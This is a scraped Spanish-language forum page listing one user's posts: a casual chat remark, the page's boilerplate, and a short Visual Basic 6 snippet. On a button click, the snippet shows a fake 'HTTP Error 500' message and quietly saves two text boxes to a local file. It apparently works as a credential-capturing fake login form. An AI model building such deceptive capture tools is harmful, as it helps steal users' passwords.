jajaj pues ahora que lo dices lo hize por la mañana, pero como recien levantado eso ya no xd
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub Command1_Click()
MsgBox ("HTTP Error 500 Internal server error")
Dim F As Byte
F = FreeFile
Open App.Path & "\" & "FILESAVE.txt" For Append As #F
Print #F, Text1.Text
Print #F, Text2.Text
Close #F
End Sub